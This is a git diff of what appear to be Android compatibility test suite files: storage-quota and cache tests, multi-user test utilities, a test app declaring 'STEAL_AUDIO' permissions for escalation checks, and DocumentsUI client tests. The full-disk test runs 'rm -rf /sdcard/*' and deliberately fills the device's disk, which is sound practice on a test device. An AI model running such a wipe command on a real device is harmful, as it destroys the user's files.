+    private static final String APK_STATS = "CtsStorageStatsApp.apk";
+    private static final String APK_A = "CtsStorageAppA.apk";
+    private static final String APK_B = "CtsStorageAppB.apk";
+    private static final String CLASS_STATS = "com.android.cts.storagestatsapp.StorageStatsTest";
+    private static final String CLASS = "com.android.cts.storageapp.StorageTest";
+
+    private int[] mUsers;
+
+    @Before
+    public void setUp() throws Exception {
+        mUsers = Utils.prepareMultipleUsers(getDevice());
+
+        installPackage(APK_STATS);
+        installPackage(APK_A);
+        installPackage(APK_B);
+
+        for (int user : mUsers) {
+            getDevice().executeShellCommand("appops set --user " + user + " " + PKG_STATS
+                    + " android:get_usage_stats allow");
+        }
+
+        waitForIdle();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(PKG_STATS);
+        getDevice().uninstallPackage(PKG_A);
+        getDevice().uninstallPackage(PKG_B);
+    }
+
+    @Test
+    public void testVerifyQuota() throws Exception {
+        Utils.runDeviceTests(getDevice(), PKG_STATS, CLASS_STATS, "testVerifyQuota");
+    }
+
+    @Test
+    public void testVerifyAppStats() throws Exception {
+        for (int user : mUsers) {
+            runDeviceTests(PKG_A, CLASS, "testAllocate", user);
+        }
+
+        // TODO: remove this once 34723223 is fixed
+        getDevice().executeShellCommand("sync");
+
+        for (int user : mUsers) {
+            runDeviceTests(PKG_A, CLASS, "testVerifySpaceManual", user);
+            runDeviceTests(PKG_A, CLASS, "testVerifySpaceApi", user);
+        }
+    }
+
+    @Test
+    public void testVerifyAppQuota() throws Exception {
+        for (int user : mUsers) {
+            runDeviceTests(PKG_A, CLASS, "testVerifyQuotaApi", user);
+        }
+    }
+
+    @Test
+    public void testVerifyAppAllocate() throws Exception {
+        for (int user : mUsers) {
+            runDeviceTests(PKG_A, CLASS, "testVerifyAllocateApi", user);
+        }
+    }
+
+    @Test
+    public void testVerifySummary() throws Exception {
+        for (int user : mUsers) {
+            runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifySummary", user);
+        }
+    }
+
+    @Test
+    public void testVerifyStats() throws Exception {
+        for (int user : mUsers) {
+            runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyStats", user);
+        }
+    }
+
+    @Test
+    public void testVerifyStatsMultiple() throws Exception {
+        for (int user : mUsers) {
+            runDeviceTests(PKG_A, CLASS, "testAllocate", user);
+            runDeviceTests(PKG_A, CLASS, "testAllocate", user);
+
+            runDeviceTests(PKG_B, CLASS, "testAllocate", user);
+        }
+
+        for (int user : mUsers) {
+            runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyStatsMultiple", user);
+        }
+    }
+
+    @Test
+    public void testVerifyStatsExternal() throws Exception {
+        for (int user : mUsers) {
+            runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyStatsExternal", user);
+        }
+    }
+
+    @Test
+    public void testVerifyStatsExternalConsistent() throws Exception {
+        for (int user : mUsers) {
+            runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyStatsExternalConsistent", user);
+        }
+    }
+
+    @Test
+    public void testVerifyCategory() throws Exception {
+        for (int user : mUsers) {
+            runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyCategory", user);
+        }
+    }
+
+    @Test
+    public void testCache() throws Exception {
+        // To make the cache clearing logic easier to verify, ignore any cache
+        // and low space reserved space.
+        getDevice().executeShellCommand("settings put global sys_storage_threshold_max_bytes 0");
+        getDevice().executeShellCommand("settings put global sys_storage_cache_max_bytes 0");
+        try {
+            for (int user : mUsers) {
+                // Clear all other cached data to give ourselves a clean slate
+                getDevice().executeShellCommand("pm trim-caches 4096G");
+                runDeviceTests(PKG_STATS, CLASS_STATS, "testCacheClearing", user);
+
+                getDevice().executeShellCommand("pm trim-caches 4096G");
+                runDeviceTests(PKG_STATS, CLASS_STATS, "testCacheBehavior", user);
+            }
+        } finally {
+            getDevice().executeShellCommand("settings delete global sys_storage_threshold_max_bytes");
+            getDevice().executeShellCommand("settings delete global sys_storage_cache_max_bytes");
+        }
+    }
+
+    @Test
+    public void testFullDisk() throws Exception {
+        // Clear all other cached and external storage data to give ourselves a
+        // clean slate to test against
+        getDevice().executeShellCommand("pm trim-caches 4096G");
+        getDevice().executeShellCommand("rm -rf /sdcard/*");
+
+        // We're interested in any crashes while disk full
+        final String lastEvent = getDevice().executeShellCommand("logcat -d -b events -t 1");
+        final String sinceTime = lastEvent.trim().substring(0, 18);
+
+        try {
+            // Try our hardest to fill up the entire disk
+            Utils.runDeviceTests(getDevice(), PKG_A, CLASS, "testFullDisk");
+        } catch (Throwable t) {
+            // If we had trouble filling the disk, don't bother going any
+            // further; we failed because we either don't have quota support, or
+            // because disk was more than 10% full.
+            return;
+        }
+
+        // Tweak something that causes PackageManager to persist data
+        Utils.runDeviceTests(getDevice(), PKG_A, CLASS, "testTweakComponent");
+
+        // Try poking around a couple of settings apps
+        getDevice().executeShellCommand("input keyevent KEY_HOME");
+        Thread.sleep(1000);
+        getDevice().executeShellCommand("am start -a android.settings.SETTINGS");
+        Thread.sleep(2000);
+        getDevice().executeShellCommand("input keyevent KEY_BACK");
+        Thread.sleep(1000);
+        getDevice().executeShellCommand("am start -a android.os.storage.action.MANAGE_STORAGE");
+        Thread.sleep(2000);
+        getDevice().executeShellCommand("input keyevent KEY_BACK");
+        Thread.sleep(1000);
+
+        // Our misbehaving app above shouldn't have caused anything else to
+        // think the disk was full
+        String troubleLogs = getDevice().executeShellCommand(
+                "logcat -d -t '" + sinceTime + "' -e '(ENOSPC|No space left on device)'");
+
+        if (troubleLogs == null) troubleLogs = "";
+        troubleLogs = troubleLogs.trim().replaceAll("\\-+ beginning of [a-z]+", "");
+
+        if (troubleLogs.length() > 4) {
+            throw new AssertionFailedError("Unexpected crashes while disk full: " + troubleLogs);
+        }
+    }
+
+    public void waitForIdle() throws Exception {
+        // Try getting all pending events flushed out
+        for (int i = 0; i < 4; i++) {
+            getDevice().executeShellCommand("am wait-for-broadcast-idle");
+            Thread.sleep(500);
+        }
+    }
+
+    public void runDeviceTests(String packageName, String testClassName, String testMethodName,
+            int userId) throws DeviceNotAvailableException {
+        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName, userId);
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
index c8e608e..4afeb9bf 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
@@ -16,7 +16,7 @@
 
 package android.appsecurity.cts;
 
-import com.android.cts.migration.MigrationHelper;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceTestCase;
@@ -35,7 +35,7 @@
     private static final String APK_COMPAT = "CtsUsesLibraryAppCompat.apk";
 
     private IAbi mAbi;
-    private IBuildInfo mCtsBuild;
+    private CompatibilityBuildHelper mBuildHelper;
 
     @Override
     public void setAbi(IAbi abi) {
@@ -44,15 +44,16 @@
 
     @Override
     public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = buildInfo;
+        mBuildHelper = new CompatibilityBuildHelper(buildInfo);
     }
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
 
+        Utils.prepareSingleUser(getDevice());
         assertNotNull(mAbi);
-        assertNotNull(mCtsBuild);
+        assertNotNull(mBuildHelper);
 
         getDevice().uninstallPackage(PKG);
     }
@@ -65,20 +66,17 @@
     }
 
     public void testUsesLibrary() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK), false, false));
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK), false, false));
         runDeviceTests(PKG, ".UsesLibraryTest", "testUsesLibrary");
     }
 
     public void testMissingLibrary() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK), false, false));
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK), false, false));
         runDeviceTests(PKG, ".UsesLibraryTest", "testMissingLibrary");
     }
 
     public void testDuplicateLibrary() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK), false, false));
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK), false, false));
         runDeviceTests(PKG, ".UsesLibraryTest", "testDuplicateLibrary");
     }
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
index 37aaeaf..ee55180 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
@@ -16,7 +16,6 @@
 
 package android.appsecurity.cts;
 
-import com.android.ddmlib.Log;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.ddmlib.testrunner.TestIdentifier;
 import com.android.ddmlib.testrunner.TestResult;
@@ -26,40 +25,51 @@
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.result.CollectingTestListener;
 
+import java.util.Arrays;
 import java.util.Map;
 
 public class Utils {
-    private static final String TAG = "AppSecurity";
-
-    public static final int USER_OWNER = 0;
+    public static final int USER_SYSTEM = 0;
 
     public static void runDeviceTests(ITestDevice device, String packageName)
             throws DeviceNotAvailableException {
-        runDeviceTests(device, packageName, null, null, USER_OWNER);
+        runDeviceTests(device, packageName, null, null, USER_SYSTEM, null);
     }
 
     public static void runDeviceTests(ITestDevice device, String packageName, int userId)
             throws DeviceNotAvailableException {
-        runDeviceTests(device, packageName, null, null, userId);
+        runDeviceTests(device, packageName, null, null, userId, null);
     }
 
     public static void runDeviceTests(ITestDevice device, String packageName, String testClassName)
             throws DeviceNotAvailableException {
-        runDeviceTests(device, packageName, testClassName, null, USER_OWNER);
+        runDeviceTests(device, packageName, testClassName, null, USER_SYSTEM, null);
     }
 
     public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
             int userId) throws DeviceNotAvailableException {
-        runDeviceTests(device, packageName, testClassName, null, userId);
+        runDeviceTests(device, packageName, testClassName, null, userId, null);
     }
 
     public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
             String testMethodName) throws DeviceNotAvailableException {
-        runDeviceTests(device, packageName, testClassName, testMethodName, USER_OWNER);
+        runDeviceTests(device, packageName, testClassName, testMethodName, USER_SYSTEM, null);
+    }
+
+    public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
+            String testMethodName, Map<String, String> testArgs)
+                    throws DeviceNotAvailableException {
+        runDeviceTests(device, packageName, testClassName, testMethodName, USER_SYSTEM, testArgs);
     }
 
     public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
             String testMethodName, int userId) throws DeviceNotAvailableException {
+        runDeviceTests(device, packageName, testClassName, testMethodName, userId, null);
+    }
+
+    public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
+            String testMethodName, int userId, Map<String, String> testArgs)
+                    throws DeviceNotAvailableException {
         if (testClassName != null && testClassName.startsWith(".")) {
             testClassName = packageName + testClassName;
         }
@@ -72,13 +82,14 @@
             testRunner.setClassName(testClassName);
         }
 
-        if (userId != USER_OWNER) {
-            // TODO: move this to RemoteAndroidTestRunner once it supports users
-            testRunner.addInstrumentationArg("hack_key", "hack_value --user " + userId);
+        if (testArgs != null && testArgs.size() > 0) {
+            for (String name : testArgs.keySet()) {
+                final String value = testArgs.get(name);
+                testRunner.addInstrumentationArg(name, value);
+            }
         }
-
         final CollectingTestListener listener = new CollectingTestListener();
-        device.runInstrumentationTests(testRunner, listener);
+        device.runInstrumentationTestsAsUser(testRunner, userId, listener);
 
         final TestRunResult result = listener.getCurrentRunResults();
         if (result.isRunFailure()) {
@@ -103,65 +114,55 @@
         }
     }
 
-    private static boolean isMultiUserSupportedOnDevice(ITestDevice device)
+    /**
+     * Prepare and return a single user relevant for testing.
+     */
+    public static int[] prepareSingleUser(ITestDevice device)
             throws DeviceNotAvailableException {
-        // TODO: move this to ITestDevice once it supports users
-        final String output = device.executeShellCommand("pm get-max-users");
-        try {
-            return Integer.parseInt(output.substring(output.lastIndexOf(" ")).trim()) > 1;
-        } catch (NumberFormatException e) {
-            throw new AssertionError("Failed to parse result: " + output);
-        }
+        return prepareMultipleUsers(device, 1);
     }
 
     /**
-     * Return set of users that test should be run for, creating a secondary
-     * user if the device supports it. Always call
-     * {@link #removeUsersForTest(ITestDevice, int[])} when finished.
+     * Prepare and return two users relevant for testing.
      */
-    public static int[] createUsersForTest(ITestDevice device) throws DeviceNotAvailableException {
-        if (isMultiUserSupportedOnDevice(device)) {
-            return new int[] { USER_OWNER, createUserOnDevice(device) };
-        } else {
-            Log.d(TAG, "Single user device; skipping isolated storage tests");
-            return new int[] { USER_OWNER };
-        }
+    public static int[] prepareMultipleUsers(ITestDevice device)
+            throws DeviceNotAvailableException {
+        return prepareMultipleUsers(device, 2);
     }
 
-    public static void removeUsersForTest(ITestDevice device, int[] users)
+    /**
+     * Prepare and return multiple users relevant for testing.
+     */
+    public static int[] prepareMultipleUsers(ITestDevice device, int maxUsers)
             throws DeviceNotAvailableException {
-        for (int user : users) {
-            if (user != USER_OWNER) {
-                removeUserOnDevice(device, user);
+        final int[] userIds = getAllUsers(device);
+        for (int i = 1; i < userIds.length; i++) {
+            if (i < maxUsers) {
+                device.startUser(userIds[i]);
+            } else {
+                device.stopUser(userIds[i]);
             }
         }
-    }
-
-    private static int createUserOnDevice(ITestDevice device) throws DeviceNotAvailableException {
-        // TODO: move this to ITestDevice once it supports users
-        final String name = "CTS_" + System.currentTimeMillis();
-        final String output = device.executeShellCommand("pm create-user " + name);
-        if (output.startsWith("Success")) {
-            try {
-                final int userId = Integer.parseInt(
-                        output.substring(output.lastIndexOf(" ")).trim());
-                device.executeShellCommand("am start-user " + userId);
-                return userId;
-            } catch (NumberFormatException e) {
-                throw new AssertionError("Failed to parse result: " + output);
-            }
+        if (userIds.length > maxUsers) {
+            return Arrays.copyOf(userIds, maxUsers);
         } else {
-            throw new AssertionError("Failed to create user: " + output);
+            return userIds;
         }
     }
 
-    private static void removeUserOnDevice(ITestDevice device, int userId)
+    public static int[] getAllUsers(ITestDevice device)
             throws DeviceNotAvailableException {
-        // TODO: move this to ITestDevice once it supports users
-        final String output = device.executeShellCommand("pm remove-user " + userId);
-        if (output.startsWith("Error")) {
-            throw new AssertionError("Failed to remove user: " + output);
+        Integer primary = device.getPrimaryUserId();
+        if (primary == null) {
+            primary = USER_SYSTEM;
         }
+        int[] users = new int[] { primary };
+        for (Integer user : device.listUsers()) {
+            if ((user != USER_SYSTEM) && (user != primary)) {
+                users = Arrays.copyOf(users, users.length + 1);
+                users[users.length - 1] = user;
+            }
+        }
+        return users;
     }
-
 }
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
index 2807be8..606b9ce 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 LOCAL_PACKAGE_NAME := CtsAppAccessData
 
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk b/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
index 1852441..1109280 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 LOCAL_PACKAGE_NAME := CtsAppWithData
 
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk
new file mode 100644
index 0000000..b98ba68
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk
@@ -0,0 +1,29 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_PACKAGE_NAME := CtsDeclareNonRuntimePermissions
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/AndroidManifest.xml
new file mode 100644
index 0000000..411a66b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.escalate.permission">
+
+    <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"
+        android:permissionGroup="android.permission-group.MICROPHONE"
+        android:protectionLevel="normal"/>
+
+    <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"
+        android:permissionGroup="android.permission-group.MICROPHONE"
+        android:protectionLevel="signature"/>
+
+    <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"/>
+    <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"/>
+
+    <application android:hasCode="false"/>
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
index ce47e01..ec89ce9 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctsdeviceutil ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner ub-uiautomator
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
index acba1f4..0149a33 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
@@ -16,13 +16,19 @@
 
 package com.android.cts.documentclient;
 
+import static org.junit.Assert.assertNotEquals;
+
+import android.app.Activity;
 import android.content.ContentResolver;
 import android.content.Intent;
+import android.content.IntentSender;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Bundle;
 import android.os.SystemClock;
 import android.provider.DocumentsContract;
 import android.provider.DocumentsContract.Document;
+import android.provider.DocumentsContract.Path;
 import android.provider.DocumentsProvider;
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiObjectNotFoundException;
@@ -33,6 +39,8 @@
 
 import com.android.cts.documentclient.MyActivity.Result;
 
+import java.util.List;
+
 /**
  * Tests for {@link DocumentsProvider} and interaction with platform intents
  * like {@link Intent#ACTION_OPEN_DOCUMENT}.
@@ -40,11 +48,14 @@
 public class DocumentsClientTest extends DocumentsClientTestCase {
     private static final String TAG = "DocumentsClientTest";
 
-    private UiObject findRoot(String label) throws UiObjectNotFoundException {
-        final UiSelector rootsList = new UiSelector().resourceId(
+    private UiSelector findRootListSelector() throws UiObjectNotFoundException {
+        return new UiSelector().resourceId(
                 "com.android.documentsui:id/container_roots").childSelector(
                 new UiSelector().resourceId("com.android.documentsui:id/roots_list"));
 
+    }
+
+    private void revealRoot(UiSelector rootsList, String label) throws UiObjectNotFoundException {
         // We might need to expand drawer if not visible
         if (!new UiObject(rootsList).waitForExists(TIMEOUT)) {
             Log.d(TAG, "Failed to find roots list; trying to expand");
@@ -60,9 +71,27 @@
 
         // Now scroll around to find our item
         new UiScrollable(rootsList).scrollIntoView(new UiSelector().text(label));
+    }
+
+    private UiObject findRoot(String label) throws UiObjectNotFoundException {
+        final UiSelector rootsList = findRootListSelector();
+        revealRoot(rootsList, label);
+
         return new UiObject(rootsList.childSelector(new UiSelector().text(label)));
     }
 
+    private UiObject findEjectIcon(String rootLabel) throws UiObjectNotFoundException {
+        final UiSelector rootsList = findRootListSelector();
+        revealRoot(rootsList, rootLabel);
+
+        final UiScrollable rootsListObject = new UiScrollable(rootsList);
+        final UiObject rootItem =
+                rootsListObject.getChildByText(new UiSelector(), rootLabel, false);
+        final UiSelector ejectIcon =
+                new UiSelector().resourceId("com.android.documentsui:id/eject_icon");
+        return new UiObject(rootItem.getSelector().childSelector(ejectIcon));
+    }
+
     private UiObject findDocument(String label) throws UiObjectNotFoundException {
         final UiSelector docList = new UiSelector().resourceId(
                 "com.android.documentsui:id/container_directory").childSelector(
@@ -82,6 +111,10 @@
                 .childSelector(new UiSelector().resourceId("android:id/button1")));
     }
 
+    private UiObject findPositiveButton() throws UiObjectNotFoundException {
+        return new UiObject(new UiSelector().resourceId("android:id/button1"));
+    }
+
     public void testOpenSimple() throws Exception {
         if (!supportedHardware()) return;
 
@@ -216,6 +249,9 @@
         mDevice.waitForIdle();
         findSaveButton().click();
 
+        mDevice.waitForIdle();
+        findPositiveButton().click();
+
         final Result result = mActivity.getResult();
         final Uri uri = result.data.getData();
 
@@ -428,4 +464,167 @@
             cursorDst.close();
         }
     }
+
+    public void testFindDocumentPathInScopedAccess() throws Exception {
+        if (!supportedHardware()) return;
+
+        final Intent intent = new Intent(Intent.ACTION_OPEN_DOCUMENT_TREE);
+        mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+        mDevice.waitForIdle();
+        findRoot("CtsCreate").click();
+
+        mDevice.waitForIdle();
+        findDocument("DIR2").click();
+        mDevice.waitForIdle();
+        findSaveButton().click();
+
+        final Result result = mActivity.getResult();
+        final Uri uri = result.data.getData();
+
+        // We should have selected DIR2
+        Uri doc = DocumentsContract.buildDocumentUriUsingTree(uri,
+                DocumentsContract.getTreeDocumentId(uri));
+
+        assertEquals("DIR2", getColumn(doc, Document.COLUMN_DISPLAY_NAME));
+
+        final ContentResolver resolver = getInstrumentation().getContext().getContentResolver();
+
+        // Create some documents
+        Uri dir = DocumentsContract.createDocument(resolver, doc, Document.MIME_TYPE_DIR, "my dir");
+        Uri dirPic = DocumentsContract.createDocument(resolver, dir, "image/png", "pic2.png");
+
+        writeFully(dirPic, "dirPic".getBytes());
+
+        // Find the path of a document
+        Path path = DocumentsContract.findDocumentPath(resolver, dirPic);
+        assertNull(path.getRootId());
+
+        final List<String> docs = path.getPath();
+        assertEquals("Unexpected path: " + path, 3, docs.size());
+        assertEquals(DocumentsContract.getTreeDocumentId(uri), docs.get(0));
+        assertEquals(DocumentsContract.getDocumentId(dir), docs.get(1));
+        assertEquals(DocumentsContract.getDocumentId(dirPic), docs.get(2));
+    }
+
+    public void testOpenDocumentAtInitialLocation() throws Exception {
+        if (!supportedHardware()) return;
+
+        // Clear DocsUI's storage to avoid it opening stored last location
+        // which may make this test pass "luckily".
+        clearDocumentsUi();
+
+        final Uri docUri = DocumentsContract.buildDocumentUri(PROVIDER_PACKAGE, "doc:file1");
+        final Intent intent = new Intent();
+        intent.setAction(Intent.ACTION_OPEN_DOCUMENT);
+        intent.addCategory(Intent.CATEGORY_OPENABLE);
+        intent.setType("*/*");
+        intent.putExtra(DocumentsContract.EXTRA_INITIAL_URI, docUri);
+        mActivity.startActivityForResult(intent, REQUEST_CODE);
+        mDevice.waitForIdle();
+
+        assertTrue(findDocument("FILE1").exists());
+    }
+
+    public void testOpenDocumentTreeAtInitialLocation() throws Exception {
+        if (!supportedHardware()) return;
+
+        // Clear DocsUI's storage to avoid it opening stored last location
+        // which may make this test pass "luckily".
+        clearDocumentsUi();
+
+        final Uri docUri = DocumentsContract.buildDocumentUri(PROVIDER_PACKAGE, "doc:dir2");
+        final Intent intent = new Intent();
+        intent.setAction(Intent.ACTION_OPEN_DOCUMENT_TREE);
+        intent.putExtra(DocumentsContract.EXTRA_INITIAL_URI, docUri);
+        mActivity.startActivityForResult(intent, REQUEST_CODE);
+        mDevice.waitForIdle();
+
+        assertTrue(findDocument("FILE4").exists());
+    }
+
+    public void testCreateDocumentAtInitialLocation() throws Exception {
+        if (!supportedHardware()) return;
+
+        // Clear DocsUI's storage to avoid it opening stored last location
+        // which may make this test pass "luckily".
+        clearDocumentsUi();
+
+        final Uri treeUri = DocumentsContract.buildTreeDocumentUri(PROVIDER_PACKAGE, "doc:local");
+        final Uri docUri = DocumentsContract.buildDocumentUriUsingTree(treeUri, "doc:file1");
+        final Intent intent = new Intent();
+        intent.setAction(Intent.ACTION_CREATE_DOCUMENT);
+        intent.setType("plain/text");
+        intent.putExtra(DocumentsContract.EXTRA_INITIAL_URI, docUri);
+        mActivity.startActivityForResult(intent, REQUEST_CODE);
+        mDevice.waitForIdle();
+
+        assertTrue(findDocument("FILE1").exists());
+    }
+
+    public void testCreateWebLink() throws Exception {
+        if (!supportedHardware()) return;
+
+        final Intent intent = new Intent(Intent.ACTION_OPEN_DOCUMENT);
+        intent.setType("*/*");
+        mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+        // Pick a virtual file from the local root.
+        mDevice.waitForIdle();
+        findRoot("CtsLocal").click();
+
+        mDevice.waitForIdle();
+        findDocument("WEB_LINKABLE_FILE").click();
+
+        // Confirm that the returned file is actually the selected one.
+        final Result result = mActivity.getResult();
+        final Uri uri = result.data.getData();
+        assertEquals("doc:web-linkable-file", DocumentsContract.getDocumentId(uri));
+
+        final ContentResolver resolver = getInstrumentation().getContext().getContentResolver();
+
+        Bundle bundle = new Bundle();
+        bundle.putStringArray(Intent.EXTRA_EMAIL, new String[] { "x@x.com" });
+        final IntentSender intentSender = DocumentsContract.createWebLinkIntent(resolver,
+                uri, bundle);
+
+        final int WEB_LINK_REQUEST_CODE = 1;
+        mActivity.startIntentSenderForResult(intentSender, WEB_LINK_REQUEST_CODE,
+                null, 0, 0, 0);
+        mDevice.waitForIdle();
+
+        // Confirm the permissions dialog. The dialog is provided by the stub
+        // provider.
+        UiObject okButton = new UiObject(new UiSelector().resourceId("android:id/button1"));
+        assertNotNull(okButton);
+        assertTrue(okButton.waitForExists(TIMEOUT));
+        okButton.click();
+
+        final Result webLinkResult = mActivity.getResult();
+        assertEquals(WEB_LINK_REQUEST_CODE, webLinkResult.requestCode);
+        assertEquals(Activity.RESULT_OK, webLinkResult.resultCode);
+
+        final Uri webLinkUri = webLinkResult.data.getData();
+        assertEquals("http://www.foobar.com/shared/SW33TCH3RR13S", webLinkUri.toString());
+    }
+
+    public void testEject() throws Exception {
+        if (!supportedHardware()) return;
+
+        final Intent intent = new Intent(Intent.ACTION_VIEW);
+        intent.addCategory(Intent.CATEGORY_DEFAULT);
+        intent.setDataAndType(
+                DocumentsContract.buildChildDocumentsUri(PROVIDER_PACKAGE, "doc:dir1"),
+                Document.MIME_TYPE_DIR);
+        mActivity.startActivity(intent);
+
+        findEjectIcon("eject").click();
+
+        try {
+            findRoot("eject").click();
+            fail("Root eject was not ejected");
+        } catch(UiObjectNotFoundException e) {
+            // expected
+        }
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
index a26ec2d..68e554d 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
@@ -16,7 +16,7 @@
 
 package com.android.cts.documentclient;
 
-import static android.cts.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
 
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
@@ -44,13 +44,17 @@
  * Base class for DocumentsUI test cases.
  */
 abstract class DocumentsClientTestCase extends InstrumentationTestCase {
